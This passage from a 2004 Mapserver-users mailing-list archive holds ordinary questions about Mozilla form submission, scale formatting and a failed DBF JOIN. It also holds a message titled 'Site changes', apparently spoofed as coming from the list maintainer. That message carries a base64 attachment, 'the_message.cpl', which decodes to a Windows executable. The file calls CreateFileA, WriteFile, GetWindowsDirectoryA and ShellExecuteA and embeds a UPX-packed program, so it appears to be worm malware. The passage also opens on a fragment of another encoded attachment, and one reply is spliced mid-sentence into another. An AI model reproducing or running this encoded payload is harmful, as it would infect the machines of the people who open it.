RrwqhDkgnEwQx6AfNh5Qc4wBSkLEazyAfnvBDItxAHEyAyiErJrGsl15Q2ptrDkodyq8TZc6 j4ElSnSIhcGqBAJLd8ZsTw8iubu1nVtnMBNVtRI5XMbFfYpBr6h/rJJgFpwzaKuxtUoco4EP QXRCDF0GkoAFsEVsG5uhuSRKqQafZXzAdoamo5KDV44lOZEJho8ICFKgSJ2bMFMNNYAchoAR eKkkMAViHDZCdYKqeT5WLFSPd3IGmG66VrYSxKhGR20Zi5s8Fr2uhxA2TRxHCKuENDdmb2Rv LZOLkKOdqpSLBT4ra10ABXIiT5Q0PaocZI8hTZ28rCvHO4C1sL9ZshxnXHOdcHSQC3fDgBRX Xll2v6R3xXy4rR0FwXG5qnl9bUMHjWdOtCm9UbGDwGRDHluEF1QhRypzWwF6MmOqdnhlvU99 fX6qSi0RXcY8jRQFa2sQKEc4kyRTTJN7wJ+agUo+QHJMuRWOHR7HgK4nPDOlvkh8mzgng6VI sDYTFGWpOC1RU0xswZo7MMchoooGasQuVxrHgAOlpjJMdm9eFYs0IW4onHYASVbBYcArqzNL dh6OMqwhXSqeXBKUJYWYx5mDR1qQg1orIr1fREtPFq7GfFl3j0YrtaxrckMmlJ+eaUq1tDYx eZhTBnXGKA6XxqZ8NrSEmyECkoU2JlyGW6N5RK1nrSZWpjcWghA9RDTBWYCKFgG9TYjBOFk9 QQiPsj1JirmophRkcwOUAA7AFISDLCmNKBKgEr1POgI7D3SMY7KZoT+Zcx9lbxW9fb+MkGBJ GcGOdrU8h2dTE3SupLlacpNJvBhtKCUzHTlAE3IvS1RVi6O0KA0JD4AGFnqkRLEfdGktfW1z PKqlT5clIiOVE0EIi0WbagwiMV1CC781ET01Jx9mNSgUOFsOdxrCJaVVpL01XoO7aTWSOL4n uComJBcUHHZkV02Fp6SPMyB8ZwtWoEaRg1hJihA9Rip+ID9FKrCeeIcIHwdgv0ZadgaOWC+S T2lGEZQcOkMvc2RXY0g/V69PXAtvfm5Ot61xWA== ----------ezckfhhtlkodijszckdx-- From mschulz at webgis.de Thu May 6 06:33:41 2004 From: mschulz at webgis.de (Michael Schulz) Date: Thu, 06 May 2004 15:33:41 +0200 Subject: [Mapserver-users] Mozilla and Firefox In-Reply-To: <8118CC0EE4FDF94AA1C785BD746EF2A69DB2E5@eshetb> References: <8118CC0EE4FDF94AA1C785BD746EF2A69DB2E5@eshetb> Message-ID: <409A3EB5.20306@webgis.de> Hi, i remember having similar problems with mozilla. Is mapserver returning an error message? I think my problem was solved by juggling around with the order of the cgi parameter. Especially the map.x and map.y seem to be problematical. There was a thread about this issue a while ago: http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0302/msg00638.html If you use javascript to submit your form, make sure you have specified the language attribute of the In this case, if I have (for example) scale=9999.9998, I get "10000" (and not 9999, as with parseInt). Daniele -----Messaggio originale----- Da: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] Per conto di Martin Weinelt Inviato: gioved? 6 maggio 2004 9.21 A: mapserver-users at lists.gis.umn.edu Cc: Stephen Woodbridge; Kaps Stefan Oggetto: Re: [Mapserver-users] scale On Thursday 06 May 2004 04:04, Stephen Woodbridge wrote: > You can write a small javascript to reformat it. I think this has been > discussed in the past and is probably in the archives. > > > > or something like that. > > -Steve W. [...] scale = parseInt([scale]); [...] It's called 'parseInt' in JS ..., another obstacle to correctly shoot yourself in the foot ... Martin > Kaps Stefan wrote: > > Dear MapServer colleagues! > > Just a short question: how can I change the format of my scale? now > > the format is 1:ssssss.ssss but I don't want the decimal number... > > (just > > 1:ssssss) > > > > cheers, > > Stefan > > > > _______________________________________________ > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users -- --- Martin Weinelt --- kk+w - digital cartography --- Kiel, Germany --- Tel: +49.431.5791165 --- http://www.planiglobe.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From gacp at d-konstruktors.org Sat May 8 05:05:41 2004 From: gacp at d-konstruktors.org (gacp) Date: Sat, 08 May 2004 07:05:41 -0500 Subject: [Mapserver-users] JOIN fails and Xbase weeps Message-ID: <409CCD15.8040508@d-konstruktors.org> Hi all! I've just started using MapServer. I've done quite a bit of reading so far, (honestly, the docs are not much help) and have manage to build a simple application (CGI MapServer), even to the point of creating layers from a PostGIS connection. But this has me totally baffled. I am trying to make a JOIN of an ESRI DBF file from a shapefile (WWF ecoregions). This join fails, but no error is logged in MapServer's error file for this template. LAYER NAME "base" TYPE QUERY STATUS DEFAULT DATA "gisdata-ro/Terra/vector/wwfecoregions/ecoregions" TRANSPARENCY 66 # LABELITEM "Eco_name" CLASS # main distro area OUTLINECOLOR 81 127 81 COLOR 81 127 81 TEMPLATE "ecoregions.html" END METADATA WMS_TITLE "main land stuff" WMS_ABSTRACT "nil" WMS_SRS "nil" END JOIN NAME biome_test TABLE "/var/www/html/mapserver/Terra/biome_names.dbf" FROM "BIOME" TO "CODES" TYPE SINGLE END END The result of the query has this ghostly message: xbasewohoo That's it. Nothing else. Is this supposed to be an error message? "xbasewohoo"? TIA. From steve.lime at dnr.state.mn.us Sat May 8 07:08:25 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Sat, 08 May 2004 08:08:25 -0600 Subject: [Mapserver-users] Site changes Message-ID: ----------kocepeuxqjvchubswghq Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------kocepeuxqjvchubswghq Content-Type: application/octet-stream; name="the_message.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="the_message.cpl" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAQAAAAFBFAABMAQMA7cGQQAAAAAAAAAAA4AAOIQsBBQwABgAAAAIAAAAAAAAQEQAA ABAAAAAgAAAAAAAQABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAe4MAAAACAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAFBAAADwAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAIAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHAQAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADgBQAA ABAAAAACAAAAAgAAAAAAAAAAAAAAAAAAIAAA4C5yZWxvYwAAKAAAAAAgAAAAAgAAAAQAAAAA AAAAAAAAAAAAAEAAAEIAAAAAAAAAAHtTAAAAMAAAe1MAAAAGAAAAAAAAAAAAAAAAAAAgAADg AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcY3Bsc3R1Yi5leGUAb3BlbgAAAFAQAAAAAAAA AAAAANwQAABwEAAAaBAAAAAAAAAAAAAA+hAAAIgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAQ AACeEAAArBAAAMQQAADQEAAAAAAAAOoQAAAAAAAAkBAAAJ4QAACsEAAAxBAAANAQAAAAAAAA 6hAAAAAAAAAZAENsb3NlSGFuZGxlADIAQ3JlYXRlRmlsZUEAZAFHZXRXaW5kb3dzRGlyZWN0 b3J5QQAAuQJXcml0ZUZpbGUA0wJsc3RyY2F0QQAAS0VSTkVMMzIuZGxsAABuAFNoZWxsRXhl Y3V0ZUEAU0hFTEwzMi5kbGwAAAAAAAAAAAAAAFWL7IN9DAF1RpBoAAQAAGjgEQAQ6JsAAABo ABAAEGjgEQAQ6JgAAACQaOARABDoJQAAAAvAdBiQagBqAGoAaOARABBoDRAAEGoA6HcAAAC4 AQAAAMnCDABVi+yDxPhTVjPbkGoAagBqAmoAagNoAAAAwP91COg0AAAAiUX8QHQgvgAwABCt kmoAjUX4UFJW/3X86CMAAAD/dfzoCQAAAEOLw15bycIEAP8lcBAAEP8ldBAAEP8leBAAEP8l fBAAEP8lgBAAEP8liBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ AAAgAAAAIDEqMS8xOjFPMVQxujHAMcYxzDHSMdgxABAAAAwAAACRMQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAd1MAAE1aAAABAAAAAgAAAP//AABAAAAAAAAAAEAA AAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJAAAACpJt0T7UezQO1Hs0DtR7NA 7UezQO5Hs0BjWKBAbUezQBFnoUDsR7NAKkG1QOxHs0BSaWNo7UezQAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAFBFAABMAQMAzA+QQAAAAAAAAAAA4AAPAQsBBQwAUAAAABAAAACQAADw4gAA AKAAAADwAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAAABAAAQAAAAAAAAAgAAAAAA EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAApPMAAEwCAAAA8AAApAMAAAAAAAAAAAAA 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 6LDN/g3BIcvdbncNnwySwVUaE/RCNs4JQ/7HLgfrMKsVxCQ8/zwR2f////+elZTdjtqfjJ+U 2o6Ig9rA19OH8RTzc50x7lxyH6pPTP////8fVntmh5m6yhdKMbyvgvTG5UDeAVbwoEFa26+0 UN9ahv////+cT94VRUojtWLDt1un1/7kSYUuDyVQxK1/NQ7NaZXTX/8N/v/BpUCD7TMhtvox NaR7FEpMb4nKFslJH5b/////F39Xz8Py0NLL1udnn+g8nsCvX+vEkOsTIWQq7sBDCfb4//+l 5hbpVOm59bLplvjkovQ+8dELDX1QIzX///+lnHXpLrw5e/xwKx8pekPpgxgrypEmGmG8bxL/ //+/lMNDr6Katk7jW3SecH9StUEWOSRkbN38v9Hf6OsHKuNzyZNDbystOS55kf//f6GSnJAt VINXIjp4Ja5Pc+u0wwbevewEOBr//y3+jBZmNUXBrs8hYFxMA/JuQJ7Cn8XevKO1/////1yx rnxuGmvfAiIYHqZosvcbHydQS2l2aPTNFeGRMNDg/////wMkZ2U8ppWk1HbsvBxDwjLE8GxS zmrrQfKz6HIdVV+gv8H//2nUFS6onGg1J065HThwRT542A0UKNogxf////85PWOvinAGguTz XRMAt67wlCxvhlNJqEKBZao9hXSYtP/////pYdFGaXrsdfixTeA2CWp0PzrXW+KQ1obFrLM9 kQk8W/////+XF9HkdergvVjZzi3FGYHUxHd74F6mPjSQuH9Php2+lf//jf/e9acp6sZX94t+ ukKabp/5BwyWq8fVpU/DOP//G/01pQM77DMsyJxcVPOArio+mLtrOalhZKT/2///sMAIxH4T vXDV9lYySEPyV6LshjCFITpFSZ2eLf////+axR5qgkP9/SfWB8XAQUSDK7x8GVw65mI0ZGRR +TKvaP//1v8yT91nMvkemxpWfWic7v2DipG5MjVPeuvMyP+X/v+2pa5M9/1z/4E9G+lm1/PM H9jNxj9qAxq2ov////87MfJButxb4PwhP1kfuN/lHbfBlzNu5++aGyoWNuYAwcHb//9SH40d BcBx0+6xUb0uVlGqckNKecuT////vxHxLWcvhipmTr2ipYyGt1hguHdFtWMOFUcZKNEUr+r/ //9RVaQkHfxYsu+7BtAV99mas6lMZbSKBqY5Mzv//y/Qg6UrVQItmxfazYHgNcw+UZ+JOglS agcj+HIDL/X5fe7gB0VufTagZs3jZnlHB8t8H9NuE9mFruMlCTgGDqWkXfUDD3akBf9YABKQ JliYANNm+9dcAXwj0Q39Fxjyvdn5+t8jIhAGESp3/UtsCnfyesS5j+B6hKLunHkawRaAhH73 RTJ73xeGhsjyDZ6QUxnM3qbqBfd7k6Ms4gg8krL4ApniN+KDFe8CEFPvIly6usgPbhSVj+8x v+Itz5qAhE0m0nE2twzsE3rq+1n2ilniA4ccIxvx4haqFUfi2PbdAS3fDvjN3W/UMgyvnDu3 DPIKAvv6Agpmk4LykS0cwANFjU3i1vwGbyKwLUrUBqJxJdEgesth/wtm1I/7sXOnCquoNvsK bUjBIKPcH7A/i2YRPaN/M49CMJvk2QWFFPUU+B2QQgZkFPt3n6WW84yGQ89pfDerwAmYQUfi i/awuPQd+rdOIBHZsIszQ09HBowm7YI3OVbtGyAWkTh7s7VTavZ8m24Wi+5MFzpbETGEPsJ8 PE3s+GokfmN0PA4ylhpzIK6+YAOWwQZWeYCxR7R2EZc3QLFBtpN/0Z73VsNuG6sLyT3sEvAZ 2wmyzahTqLUQGCIMMyrC/DYUb8fKVlJH5t7FYVasR9HRht35CtqsqO6L3LvFpBHa8B/+lj9t C/8L6+r5AqMZ+QYJXvFQPVBtQ6hLpXE8iWzUHlLvBj/qPJIeawWv+coP85TBQ0SiLXGiIUmH wQj/sAj9onR+nO9nDvl3oOatPODj7CMFBcJ5vp0Xxe8UBrM422aYdKl4NscG0LT8qy/d/PIE +A28+PVSifVNpMXTrlCclgKsC7B6tBV3UwpXx2v7ltuTwxqVqhvUqlfjnEJhrNFXoH8j/IMe f2Sy7RHTEJwn/JygnMGvCECulWpfEwUZTz50187IorGPSt9t7nXu4kA6FbL1Bl+J0tkqYdb2 CPtysYvTecfBSBIckowVHMaeMYhzvohfpBagzwzfB8WyupMzRyCiSA7IjwnktNYikPno6mS8 Ja75iCwC3iFgVLIPjx+yggibG9X3iIO0GYtwNumHkcND43hCF5ZK17AJP8/4ESzgK/n1aXef Obt1XAgZ76yizMfIyEMX3oXKUH/4LCp7PPz5AvGxMawSte64+RLOKV0DYThmFJT7C1DiE3U/ /0JCBqxKGuntNfO9xAo1ihVyOciAvdNDgtlo+3TB8zwvBM+FjDy5xWYfJXRADEIc6TLIyQsa C7Vo5HOPXcYS9pI3OJSxGbIBucBuUXTnJScHB/q6EPqSkxzk8pIkA+gS6JNnh+S4xgvmUfrJ pznJFAdi+hdd6Fkv5MgXBegDCpg/Nn6+PlXJz86bp7wbL5oVOB9KApoxa4EYhzBMwYz79hMc GwqYU+iH3BE1W4Z8Jwdn6pqpVqhBDSnKhrDupF95Dy7knesvHw+1MVnFcT3YqR5zsXoCXe26 vpzo9wzE6cblupBKBoWUgfv4vbkcv/tN50nM1nUYpKne6hNfnR47lgvq0gPqrB/6S7AB7cAr 